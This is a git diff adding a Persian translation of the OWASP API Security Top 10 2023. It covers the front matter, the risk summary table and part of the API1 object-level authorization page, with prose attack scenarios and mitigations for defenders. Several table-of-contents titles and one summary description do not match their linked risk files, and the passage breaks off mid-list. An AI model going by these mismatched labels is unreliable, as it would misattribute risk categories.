+1,23 @@ +# فهرست مطالب + +* [ فهرست مطالب](0x00-toc.md) +* [درباره OWASP](0x01-about-owasp.md) +* [ پیش‌گفتار](0x02-foreword.md) +* [ مقدمه](0x03-introduction.md) +* [ یادداشت](0x04-release-notes.md) +* [ ریسک‌های امنیت API](0x10-api-security-risks.md) +* [ ده ریسک امنیت API OWASP 2023](0x11-t10.md) +* [API1:2023 مجوزدهی نادرست در سطح اشیا](0xa1-broken-object-level-authorization.md) +* [API2:2023 احرازهویت نادرست کاربر](0xa2-broken-authentication.md) +* [API3:2023 افشای مفرط داده](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 کمبود منابع و نبود محدودیت بر نرخ ارسال](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 مجوزدهی نادرست در سطح توابع](0xa5-broken-function-level-authorization.md) +* [API6:2023 تخصیص جمعی](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 پیکربندی امنیتی نادرست](0xa7-server-side-request-forgery.md) +* [API8:2023 تزریق ورودی‌های مخرب](0xa8-security-misconfiguration.md) +* [API9:2023 مدیریت نادرست دارایی‌ها](0xa9-improper-inventory-management.md) +* [API10:2023 پایش و نظارت ناکافی](0xaa-unsafe-consumption-of-apis.md) +* [ادامه برای توسعه دهندگان](0xb0-next-devs.md) +* [ ادامه برای DevSecOps](0xb1-next-devsecops.md) +* [ متدولوژی و داده](0xd0-about-data.md) +* [سپاسگزاری](0xd1-acknowledgments.md) diff --git a/editions/2023/fa/0x01-about-owasp.md b/editions/2023/fa/0x01-about-owasp.md new file mode 100644 index 000000000..62dc84ea7 --- /dev/null +++ b/editions/2023/fa/0x01-about-owasp.md @@ -0,0 +1,43 @@ +# درباره OWASP + +پروژه بازمتن امنیت وب اپلیکیشن‌ها (OWASP) جامعه ای باز و آزاد است که اختصاصا در حوزه توانمندسازی سازمان‌ها در حوزه توسعه، تهیه و ایجاد اپلیکیشن‌ها و APIهای قابل اعتماد فعالیت دارد. + در OWASP، موارد زیر را بصورت رایگان و آزاد خواهید یافت: + +- استانداردها و ابزارهای امنیت اپلیکیشن. +- کتاب‌هایی درباره تست امنیت اپلیکیشن‌ها، توسعه ایمن کد و بازبینی امنیت کد. +- ارائه‌ها و [ویدئوها][1]. +- [راهنما و برگه تقلب][2] برای بسیاری از موضوعات رایج. +- کنترل‌ها و کتابخانه‌های استاندارد در حوزه امنیت. +- [شعب محلی در سرتاسر جهان][3]. +- تحقیقات به روز و پیشرو در حوزه امنیت. +- [کنفرانس‌های تخصصی][4] در سرتاسر جهان. +- [یست‌های پست الکترونیک][5] [آرشیو][6] + +اطلاعات بیشتر در: [https://owasp.org][7] + +تمامی ابزارها، مستندات، ویدئوها، ارائه‌ها و شعب OWASP رایگان بوده و استفاده از یا مشارکت در آنها برای کلیه افرادی که تمایل به بهبود امنیت اپلیکیشن‌ها دارند، آزاد است. + +در OWASP امنیت اپلیکیشن بعنوان مساله‌ای مهم از منظر افراد، فرایندها و فناوری‌ها در نظر گرفته می‌شود چرا که موثرترین رویکردها در امنیت اطلاعات نیز به بهبود در این حوزه‌ها نیاز دارند. + +OWASP تعریف جدیدی از سازمان ارائه می‌دهد. رهایی از بند فشار مسائل مالی امکان فراهم آوردن اطلاعات بیطرفانه، عملی و مقرون به صرفه در حوزه امنیت اپلیکیشن‌ها را به ما داده است. + +OWASP به هیچ کمپانی فناوری وابستگی ندارد اگرچه از استفاده آگاهانه از فناوری‌های تجاری در حوزه امنیت نیز حمایت می‌کنیم. OWASP انواع مختلفی از اطلاعات را به گونه‌ای همکارانه، شفاف و باز ارائه می‌دهد. + +بنیاد OWASP موجودیتی غیرانتفاعی و عام المنفعه است که توفیق بلند مدت پروژه OWASP را تضمین می‌نماید. تقریبا تمامی کسانی که با OWASP پیوند دارند، از قبیل اعضای هیئت مدیره، روسای شعبه‌ها، راهبران پروژه‌ها و اعضای پروژه‌ها داوطلبانه این همکاری را انجام می‌دهند. همچنین ما از تحقیقات نوآورانه در حوزه امنیت با ارائه کمک‌های مالی و زیرساختی حمایت می‌کنیم. + +به ما بپیوندید! + +## حق چاپ و مجوز + +![license](images/license.png) + +حق چاپ © 2003-2023 بنیاد OWASP. این اثر تحت مجوز [Creative Commons Attribution ShareAlike 4.0 International License][8] توسعه داده شده است. برای هرگونه استفاده مجدد یا انتشار، باید شرایط مجوز این اثر را برای دیگران شفاف نمایید. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/fa/0x02-foreword.md b/editions/2023/fa/0x02-foreword.md new file mode 100644 index 000000000..6cd3f72e6 --- /dev/null +++ b/editions/2023/fa/0x02-foreword.md @@ -0,0 +1,31 @@ +# FW پیشگفتار + +در دنیای مبتنی بر App امروز، یکی از ابعاد بنیادین نوآوری واسط برنامه نویسی اپلیکیشن یا همان API ها هستند. از بانک‌‌ها گرفته تا خرده فروشی‌‌ها، حوزه حمل نقل، اینترنت اشیا، وسائل نقلیه خودران و شهرهای هوشمند، APIها بخشی حیاتی از اپلیکیشن‌‌های موبایل، وب و SaaS به شمار می‌آیند. + +APIها ذاتا منطق اپلیکیشن و داده‌‌های حساسی از قبیل PII (داده‌‌هایی که به تنهایی و بدون نیاز به داده اضافی دیگر، هویت یک کاربر را عیان می کنند نظیر شماره ملی) را در معرض دید قرارداده و در نتیجه، به طور روزافزون توجه بخش بیشتری از مهاجمین را به خود جلب می‌نمایند. بدون داشتن APIهایی ایمن، توسعه سریع نوآوری‌‌های فناورانه، امکان پذیر نخواهد بود. + +اگر چه کماکان می‌توان از لیست ده آسیب‌پذیری امنیتی بحرانی وب اپلیکیشن‌‌ها نیز برای امنیت APIها بهره برد، اما با توجه به ماهیت خاص APIها نیاز به لیستی از تهدیدات امنیتی مختص آنها احساس می‌شود. مقوله امنیت API بر راهکارها و استراتژی‌‌های لازم برای فهم و رفع آسیب‌پذیری‌‌ها و تهدیدات امنیتی خاص و منحصر به APIها تمرکز دارد. + +اگر با پروژه [OWASP Top 10][1] آشنایی داشته باشید، شباهت‌‌هایی بین آن و مستند پیش رو خواهید یافت: هر دو با نیت فهم آسان توسط مخاطب و قابلیت بکارگیری و انطباق در سازمان تهیه شده‌اند. در صورتی که با مجموعه‌‌های OWASP Top 10 آشنایی ندارید، بهتر است پیش از رفتن به سراغ لیست اصلی، بخش‌‌های [API ریسک‌های امنیتی][2] و [متدولوژی و داده][3] از همین مستند را مطالعه نمایید. + +با پرسش‌‌ها، نظرات و ایده‌‌های خود در GitHub پروژه می توانید در توسعه OWASP API Security Top 10 مشارکت کنید: + +* [https://owasp.org/www-project-api-security][5] +* [https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md][6] + +در اینجا می توانید OWASP API Security Top 10 را بیابید: + +* [https://owasp.org/www-project-api-security][7] +* [https://github.com/OWASP/API-Security][8] + +بدین وسیله از تمامی مشارکت کنندگان در این پروژه که با تلاش‌‌های خود در بوجود آمدن آن نقش داشته اند سپاسگزاریم. لیست تمامی آنها در قسمت [سپاسگزاری‌ها][4] قابل مشاهده است. متشکریم! + + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md +[5]: https://owasp.org/www-project-api-security/ +[6]: https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md +[7]: https://owasp.org/www-project-api-security/ +[8]: https://github.com/OWASP/API-Security diff --git a/editions/2023/fa/0x03-introduction.md b/editions/2023/fa/0x03-introduction.md new file mode 100644 index 000000000..d63414c60 --- /dev/null +++ b/editions/2023/fa/0x03-introduction.md @@ -0,0 +1,39 @@ +# مقدمه + +## به OWASP API Security Top 10 - 2023 خوش آمدید! + +به OWASP API Security Top 10 – 2023 خوش آمدید! +به دومین ویراست ده ‌‌آسیب‌پذیری برتر امنیت API خوش آمدید. از زمان انتشار نسخه قبلی این سند در سال 2019، صنعت امنیت API به شدت رشد و تکامل یافته و اکنون می‌توان گفت که به بلوغ رسیده است. ما بر این باور هستیم که این مستند به عنوان مرجعی معتبر در صنعت امنیت به سرعت پذیرفته شده و به توسعه و پیشرفت آن کمک شایانی کرده است. +API نقش مهمی در معماری اپلیکیشن‌‌های مدرن امروزی دارد. از آنجا که آگاهی بخشی امنیتی و نوآوری در این حوزه گام‌‌های مختلفی دارد، تمرکز بر نقاط ضعف رایج API‌ها اهمیت زیادی خواهد داشت. +هدف اصلی مستند و پروژه ده ‌‌آسیب‌پذیری بحرانی امنیت API آموزش افراد دخیل در توسعه و نگهداری API‌ها از قبیل توسعه دهندگان، طراحان، معماران، مدیران و سازمان‌‌ها است. برای کسب اطلاعات بیشتر در مورد پروژه امنیت API، می‌توانید به [صفحه پروژه][1] مراجعه کنید. +اگر با مجموعه OWASP Top 10 آشنا نیستید، پیشنهاد می‌کنیم به پروژه‌های زیر از این مجموعه را مطالعه کنید: + +- [OWASP Cloud-Native Application Security Top 10][2] +- [OWASP Desktop App Security Top 10][3] +- [OWASP Docker Top 10][4] +- [OWASP Low-Code/No-Code Top 10][5] +- [OWASP Machine Learning Security Top Ten][6] +- [OWASP Mobile Top 10][7] +- [OWASP TOP 10][8] +- [OWASP Top 10 CI/CD Security Risks][9] +- [OWASP Top 10 Client-Side Security Risks][10] +- [OWASP Top 10 Privacy Risks][11] +- [OWASP Serverless Top 10][12] + +در [بخش متدلوژی و داده][13]، اطلاعات بیشتری درباره نحوه ایجاد اولین نسخه از مستند حاضر خواهید یافت. در نسخه‌‌های آتی، جامعه امنیت را نیز دخیل نموده و به منظور دریافت داده‌‌های مرتبط، فراخوان عمومی خواهیم داد. در حال حاضر همگان را به مشارکت در [انباره داده Github][14] یا [لیست پست الکترونیک ما][15] از طریق ارسال سوال، نظر و پیشنهاد تشویق می‌کنیم. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/fa/0x04-release-notes.md b/editions/2023/fa/0x04-release-notes.md new file mode 100644 index 000000000..709a0b04a --- /dev/null +++ b/editions/2023/fa/0x04-release-notes.md @@ -0,0 +1,20 @@ +# یادداشت + +مستند پیش رو دومین ویراست ده ‌‌آسیب‌پذیری بحرانی امنیت API می‌باشد که دقیقاً چهار سال پس از نسخه اول آن منتشر شده است. در طول این چهار سال، تغییرات زیادی در زمینه امنیت API رخ داده است. از جمله این تغییرات می‌توان به موارد زیر اشاره کرد: افزایش چشمگیر تعداد تراکنش‌ها و ارتباطات صورت گرفته از طریق APIها، رشد بیشتر پروتکل‌های API، شرکت‌ها و راه‌حل‌های جدید در حوزه API و توسعه مهارت‌ها و تکنیک‌های جدید توسط مهاجمان برای نفوذ به APIها. با توجه به این موارد، وقت آن رسیده بود که لیست ده آسیب‌پذیری برتر امنیتی به‌روز شود. + +با رشد و بهبود در صنعت امنیت API، برای نخستین بار، درخواستی عمومی برای [جمع‌آوری داده][1] در این زمینه ‌صورت گرفت. متأسفانه هیچ داده‌ای توسط افراد ارائه نشده، اما بر اساس تجربیات تیم پروژه، بازبینی دقیق از سوی متخصصان امنیت API و دریافت بازخورد از جامعه تخصصی در مورد نسخه آزمایشی، لیست جدیدی ایجاد شده است. برای آشنایی بیشتر با نحوه آماده سازی این مستند می‌توانید به [بخش متدولوژی و داده][2] مراجعه نمایید. همچنین جزئیات ریسک‌های امنیتی مرتبط در [بخش ریسک‌‌‌های امنیتی API][3] قابل مطالعه هستند. + +OWASP API Security Top 10 2023 مستندی آگاهی‌بخش است که آینده صنعت امنیت API را مورد توجه قرار می‌دهد. این مستند به دلیل تغییرات و تحولات سریع در امنیت منتشر شده و هدف آن ارتقاء آگاهی از ریسک‌های امنیتی مرتبط با API است. مستند حاضر، جایگزینی برای دیگر لیست‌های TOP 10 OWASP محسوب نمی‌شود. در این ویرایش به تعدادی از ریسک‌های مهم امنیتی مرتبط با API پرداخته شده که عبارتند از: +• دو مورد "افشای مفرط داده " و "تخصیص جمعی*" با یکدیگر تلفیق شده‌اند و تمرکز بیشتری بر روی عامل مشترک آن‌ها، یعنی نقض اعتبارسنجی مجوز در سطح ویژگی‌های شیء* گذاشته‌ایم. +• در برخی موارد به جای اهمیت دادن به مدیریت موثر منابع و کنترل آنها تا زمان اتمام، فقط به مصرف فعلی منابع توجه می‌کنیم. +• با ایجاد دسته‌بندی جدیدی به نام "دسترسی بدون ‌محدودیت به جریان‌های حساس کسب‌وکار"، بر دسته جدیدی از تهدیدات تمرکز کردیم. این تهدیدات معمولاً با استفاده از محدود کردن نرخ دسترسی به جریان‌های حساس مرتبط، کاهش پیدا می‌کنند. این اقدام به ارتقاء امنیت در مقابل این تهدیدات کمک خواهد کرد. +• عنصر "استفاده ناایمن از APIها" را به لیست اضافه کرده‌ایم تا به رفتار جدیدی که اخیراً مشاهده شده، توجه داشته باشیم. موضوع نام برده شده، به این اشاره دارد که مهاجمان به جای حمله مستقیم به APIهای هدف، به دنبال نقاط ضعف در خدمات متکامل هدف می‌گردند تا از طریق آن‌ها به هدف خود نفوذ کنند. این مسئله به مرور زمان افزایش یافته و اکنون زمان مناسبی است تا به جامعه درباره این خطر در حال افزایش، اطلاع‌رسانی شود. + +فهم تغییرات اساسی در معماری اپلیکیشن‌ها در سالیان گذشته از اهمیت زیادی برخوردار است. امروره APIها نقشی کلیدی در معماری ریزسرویس‌ها، اپلیکیشن‌های تک صفحه ای (SPA )، اپلیکیشن‌های موبایل، اینترنت اشیاء و ... دارند. + +پروژه حاضر، حاصل تلاش فوق‌العاده داوطلبانه افراد متعددی بوده که بدون آن‌ها، به سرانجام رساندن آن امکان‌پذیر نبود که در [بخش تقدیر و تشکر][4]، از آن‌ها نام برده شده است. متشکریم! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fa/0x10-api-security-risks.md b/editions/2023/fa/0x10-api-security-risks.md new file mode 100644 index 000000000..59a92caae --- /dev/null +++ b/editions/2023/fa/0x10-api-security-risks.md @@ -0,0 +1,37 @@ +# RISK ریسک های امنیتی API + +به منظور تحلیل ریسک، از متدولوژی رتبه بندی ریسک OWASP استفاده شده است. +جدول زیر، واژگان مرتبط با رتبه ریسک را مختصرا نشان می‌دهد. + +| عوامل تهدید | قابلیت بهره برداری | میزان شیوع آسیب‌پذیری | قابلیت شناسایی آسیب‌پذیری | پیامد فنی | تاثیر بر کسب و کار | +|----------------|--------------------|-----------------------|----------------------------|------------|----------------------| +| خاص API | آسان: 3 | گسترده: 3 | آسان: 3 | شدید: 3 | خاص کسب و کار | +| | متوسط: 2 | متداول: 2 | متوسط: 2 | متوسط: 2 | | +| | سخت: 1 | سخت: 1 | سخت: 1 | جزئی: 1 | | + +در این رویکرد، نوع فناوری مورد استفاده و احتمال وقوع آسیب‌پذیری در رتبه ریسک تاثیر ندارند؛ بعبارت دیگر در این روش رتبه بندی ریسک، راهکار مورد استفاده برای ‌‌‌‌پیاده‌سازی API، با رویکردی مستقل از جزئیات فناوری به ارزیابی ریسک می‌پردازد. هرکدام از عوامل یاد شده می‌تواند در پیداکردن و سواستفاده از یک آسیب‌پذیری به مهاجم کمک بسزایی کند. این رتبه بندی تاثیر واقعی بر کسب و کارها را نشان نداده و این سازمان‌ها هستند که با توجه به نوع کسب و کار و فرهنگ سازمانی خود، در میزان پذیرش خطر امنیتی استفاده از اپلیکیشن‌ها و APIها تصمیم گیرنده هستند. هدف از مستند ده آسیب‌پذیری بحرانی امنیت API، تحلیل ریسک نیست. + +## مراجع + +### OWASP + +- [OWASP Risk Rating Methodology][1] +- [Article on Threat/Risk Modeling][2] + +### خارجی + +- [ISO 31000: Risk Management Std][3] +- [ISO 27001: ISMS][4] +- [NIST Cyber Framework (US)][5] +- [ASD Strategic Mitigations (AU)][6] +- [NIST CVSS 3.0][7] +- [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/fa/0x11-t10.md b/editions/2023/fa/0x11-t10.md new file mode 100644 index 000000000..eeadb7836 --- /dev/null +++ b/editions/2023/fa/0x11-t10.md @@ -0,0 +1,28 @@ +# ده ‌‌‌آسیب‌پذیری بحرانی امنیت API از منظر OWASP – 2023 + +| ریسک امنیتی | توضیحات | +|---------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| [API1:2023 - نقض مجوزدهی در سطح اشیا][api1] | APIها معمولا توابع مدیریت کننده شناسه‌های اشیا را در معرض دید قرار داده و سطح حمله گسترده‌ای را برای نقض کنترل دسترسی ایجاد می‌نمایند. کنترل‌های مجوزدهی در سطح اشیا بایستی در کلیه توابعی که با گرفتن ورودی از کاربر به منابع داده دسترسی دارند پیاده‌سازی شود. | +| [API2:2023 - احرازهویت نادرست کاربر][api2] | مکانیزم‌های احرازهویت گاها به درستی پیاده‌سازی نشده و سبب دسترسی مهاجمین به توکن‌های احرازهویت و ربایش موقت یا دائمی هویت سایر کاربران با استفاده از نقایص این مکانیزم‌ها می شوند. در صورت عدم توانایی سیستم در شناخت کلاینت یا کاربر، امنیت API نیز نقض خواهد شد. | +| [API3:2023 - نقض مجوزدهی در سطح ویژگی‌های شیء][api3] | این دسته‌، ترکیبی از [API3:2019 افشای مفرط داده][1] و [API6:2019 تخصیص جمعی][2] می‌باشد که بر روی علت اصلی این مشکل تمرکز دارد: عدم وجود یا صحیح بودن اعتبارسنجی مجوزهای دسترسی در سطح ویژگی‌های شیء موجب افشای اطلاعات به نحو نادرست یا تغییر و دستکاری اطلاعات توسط افراد غیرمجاز می‌شود. | | +| [API4:2023 - مصرف بدون محدودیت منابع][api4] | برای انجام درخواست‌های API، منابعی مانند پهنای باند شبکه، واحد پردازش مرکزی (CPU)، حافظه و ذخیره‌سازی لازم است. منابع دیگری مانند ایمیل‌ها، پیام‌ های کوتاه‌ (SMS)، تماس‌های تلفنی، یا اعتبارسنجی بایومتریک توسط ارائه‌دهندگان خدمات از طریق ادغام API نیز در دسترس قرار گرفته و بر اساس هر درخواست بکار گرفته می‌شوند. حملات موفق می‌توانند منجر به رد سرویس‌دهی (Denial of Service) یا افزایش هزینه‌های عملیاتی شوند. | +| [API5:2023 - نقض مجوزدهی در سطح توابع][api5] | مکانیزم‌‌های پیچیده کنترل دسترسی با سلسله مراتب، گروه‌‌ها و نقش‌‌های متفاوت و مرز نامشخص بین توابع عادی و مدیریتی سبب بروز نقایص مجوزدهی می‌شوند. با بهره برداری از این آسیب‌پذیری‌‌ها مهاجمین به منابع سایر کاربران و یا توابع مدیریتی دست خواهند یافت. | +| [API6:2023 - دسترسی بدون محدودیت به جریان‌های حساس کسب‌وکار][api6] | پیوند دادن داده ارائه شده توسط کلاینت (نظیر اشیا JSON) با مدل‌‌های داده بدون فیلترکردن مناسب آنها بر مبنای یک لیست سفید می‌تواند منجر به تخصیص جمعی شود. با تشخیص ویژگی‌‌های اشیا، کاوش سایر توابع، خواندن مستندات یا ارائه ویژگی‌‌های اضافی برای اشیا در بدنه درخواست‌‌ها، مهاجم می‌تواند ویژگی‌‌هایی از اشیا که برای وی مجاز نیست را دستکاری نماید. | +| [API7:2023 - جعل درخواست در سمت سرور][api7] | درخواست‌هایی که از سمت سرور به وسیله یک برنامه یا سرویس وب به منبع دیگری در اینترنت ارسال می‌شوند، ممکن است به اشتباه یا بدون اعتبارسنجی صحیح آدرس (URI) توسط کاربر ارسال شوند. این مشکل می‌تواند به مهاجم این امکان را بدهد که برنامه را مجبور به ارسال درخواست‌های ساختگی به مقصدی که برنامه اصلاً منتظر نبوده، بکند. حتی اگر برنامه تحت حفاظت دیوار آتش یا شبکه خصوصی مجازی باشد. این نوع حمله امنیتی SSRF نام دارد و می‌تواند به دسترسی غیرمجاز به منابع دیگر یا سیستم‌های داخلی شبکه منجر شود. در نتیجه، اعتبارسنجی و کنترل دقیق بر روی URI‌های ارسالی به سمت سرور بسیار مهم است تا از وقوع چنین حملاتی جلوگیری شود. | +| [API8:2023 - پیکربندی امنیتی نادرست][api8] | وقتی پیکربندی‌ها به درستی مدیریت نشده و اصول امنیتی را رعایت نکنند، احتمال وقوع حملات امنیتی به سیستم‌ها و API‌ها افزایش می‌یابد. این نقاط ضعف در پیکربندی می‌توانند به حملاتی مانند حملات به امنیت شبکه (Network Security Attacks)، حملات نفوذ به سیستم (System Intrusion)، حملات SSRF که در قسمت قبل بحث شد، یا حملات دیگر امنیتی منجر شوند. به همین دلیل اهمیت حفاظت از پیکربندی‌های مرتبط با API‌ها و سیستم‌های مرتبط با آنها از نظر امنیتی بسیار بالاست و مهم است که توسعه‌دهندگان و مهندسان DevOps به این جنبه‌ها توجه ویژه‌ای داشته باشند. | +| [API9:2023 - مدیریت نادرست دارایی‌‌ها][api9] | APIها معمولا توابع بیشتری را نسبت به وب اپلیکیشن‌‌های سنتی در معرض دید قرار می‌دهند که این موضوع اهمیت مستندسازی مناسب و بروز را دوچندان می‌نماید. داشتن فهرستی از میزبان‌‌ها و نسخه‌‌های بکارگرفته شده API نقش مهمی در رفع ‌‌‌آسیب‌پذیری‌‌های مرتبط با نسخ قدیمی API و توابع مرتبط با debugging ایفا می‌کند. | +| [API10:2023 - استفاده ناایمن از APIها][api10] | توسعه‌دهندگان به دلیل اعتماد بیشتر به داده‌هایی که از API‌های طرف ثالث دریافت می‌کنند، به استانداردهای امنیتی کمتری پایبند هستند. مهاجمان هم به جای حمله مستقیم به API اصلی، به سرویس‌های طرف ثالث حمله می‌کنند. این مسئله ممکن است منجر به ایجاد شکاف‌ها و آسیب‌پذیری‌های امنیتی در نرم‌افزارها شود. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/fa/0xa1-broken-object-level-authorization.md b/editions/2023/fa/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..f121be97e --- /dev/null +++ b/editions/2023/fa/0xa1-broken-object-level-authorization.md @@ -0,0 +1,50 @@ +# API1:2023 نقض مجوزدهی در سطح اشیاء + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: متوسط | پیامد فنی: شدید / خاص کسب و کار | +|مهاجمین می‌توانند از نقاط و توابع ‌آسیب‌پذیر (از منظر مجوزدهی نادرست در سطح اشیا) با دستکاری شناسه شیء ارسالی درون درخواست سوءاستفاده و بهره برداری نمایند. این امر می‌تواند منجر به دسترسی غیرمجاز به داده حساس شود. دسترسی غیرمجاز به داده حساس، مساله‌ای رایج در اپلیکیشن‌های مبتنی بر API است چرا که مولفه سرور غالبا به طور کامل وضعیت کلاینت را رهگیری نمی‌کند و در عوض برای تصمیم گیری درباره دسترسی کلاینت به اشیاء از پارامترهایی نظیر شناسه شی که از سوی خود کلاینت ارسال می‌شوند، تکیه دارند.|این حمله رایج ترین ‌آسیب‌پذیری APIها بوده و بیشترین پیامدها را نیز در پی دارد. مکانیزم‌های مجوزدهی و کنترل دسترسی در اپلیکیشن‌های مدرن، پیچیده و گسترده هستند. حتی اگر اپلیکیشن زیرساخت مناسب را برای کنترل‌های مجوزدهی ‌‌‌‌پیاده‌سازی نماید، ممکن است توسعه دهندگان پیش از دسترسی به اشیا حساس، استفاده از این کنترل‌ها را فراموش نمایند. تشخیص نقایص مربوط به کنترل دسترسی از طریق تست‌های ایستا یا پویا به صورت خودکار غالبا امکان پذیر نیست.|دسترسی غیرمجاز می‌تواند منجر به افشای اطلاعات به طرف‌های غیرمجاز، از دست رفتن داده یا دستکاری آن شود. همچنین دسترسی غیرمجاز به اشیا می‌تواند سبب تحت کنترل گرفتن کامل حساب کاربری توسط مهاجم گردد.| + +## آیا API از نظر نقض مجوزدهی در سطح اشیاء آسیب‌پذیر است؟ + +مجوزدهی در سطح اشیا مکانیزمی برای کنترل دسترسی است که غالبا در سطح کد ‌‌‌‌پیاده‌سازی شده و دسترسی کاربر به اشیایی که بایستی به آنها دسترسی داشته باشد را تضمین می‌نماید. + +هر تابعی در API که یک شناسه شی دریافت نموده و نوعی عملیات بر روی آن شی انجام می‌دهد، بایستی کنترل‌های مجوزدهی در سطح اشیا را بکار گیرد. این کنترل‌ها باید دسترسی کاربرِ واردشده به انجام عمل درخواستی بر روی شی درخواستی را اعتبارسنجی نمایند. + +وجود ایراد و نقصان در این مکانیزم منجر به افشای اطلاعات غیرمجاز، تغییر یا از بین رفتن تمامی داده خواهد شد. + +در مسئله‌ی Broken Object Level Authorization (BOLA)، امنیت کاربران در دسترسی به اطلاعات و منابع در سیستم به خطر می‌افتد. این مشکل زمانی رخ می‌دهد که سیستم یک درخواست API حاوی یک شناسه (مثلاً شناسه یک مورد یا اشیاء خاص) را دریافت می‌کند و بدون بررسی دقیق این شناسه و اعتبارسنجی آن، به منابع مرتبط با آن شناسه دسترسی می‌دهد. مهاجمان با تغییر شناسه در درخواست‌های خود می‌توانند به اطلاعاتی دسترسی پیدا کنند که به طور عادی نباید به آن‌ها دسترسی داشته باشند. + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 +یک پلتفرم تجارت الکترونیک، برای فروشگاه‌های آنلاین نمودارهای سود فروشگاه‌های میزبانی شده را در قالب یک لیست چندصفحه‌ای ارائه می‌دهد. مهاجم با بررسی درخواست‌های مرورگر، توابعی از API که نقش منبع داده برای نمودارهای مذکور را دارند و الگوی آنها به صورت `/shops/{shopName}/revenue_data.json` می‌باشد را شناسایی می‌کند. با استفاده از یک تابع دیگر API، مهاجم می‌تواند لیست نام کلیه فروشگاه‌های میزبانی شده را استخراج نماید. همچنین مهاجم با استفاده از یک اسکریپت ساده و جایگزین کردن `{shopName}` در URL خواهد توانست به داده‌ی فروش هزاران فروشگاه دسترسی یابد. + +### سناریو #2 +یک تولیدکننده خودرو از طریق یک API امکان کنترل از راه دور خودروها را برای ارتباط با تلفن همراه راننده فراهم کرده است. این API به راننده این امکان را می‌دهد که موتور خودرو را از راه دور روشن و خاموش کند و درب‌ها را قفل و باز کند. در این فرآیند، کاربر شماره شناسایی خودرو (VIN) را به API ارسال می‌کند. متأسفانه، API قادر به اعتبارسنجی نمی‌باشد که آیا VIN به ماشینی کاربر وارد شده اختصاص دارد یا نه. این مشکل منجر به وقوع یک آسیب‌پذیری به نام BOLA می‌شود و به این ترتیب مهاجم می‌تواند به خودروهایی دسترسی پیدا کند که به او تعلق ندارند. + +### سناریو #3 +یک سرویس ذخیره‌سازی اسناد آنلاین به کاربران این امکان را می‌دهد که اسناد خود را مشاهده، ویرایش، ذخیره و حذف کنند. هنگامی که کاربری یکی از اسناد خود را حذف می‌کند، یک عملیات درخواستی به نام GraphQL Mutation با استفاده از شناسه (ID) مربوط به سند حذف‌شده به API ارسال می‌شود. این درخواست GraphQL به API اطلاع می‌دهد که یک سند باید حذف شود و API مسئول انجام این عملیات حذف است. + +## چگونه از آسیب‌پذیری مجوزدهی نادرست در سطح اشیاء پیشگیری کنیم؟ + +- بکارگیری یک مکانیزم مجوزدهی که بر خط مشی و سلسله مراتب کاربری تمرکز دارد. +- استفاده از یک مکانیزم مجوزدهی برای بررسی اینکه آیا کاربر واردشده مجوز لازم برای انجام عملیات درخواستی بر روی رکورد در تمامی توابعی که از کلاینت، ورودی می‌گیرند تا به رکورد مذکور در پایگاه داده دسترسی داشته باشند را دارا است یا خیر؟ +- ارجحیت استفاده از مقادیر تصادفی و غیرقابل پیش بینی بعنوان GUID برای شناسه رکوردها. +- طراحی 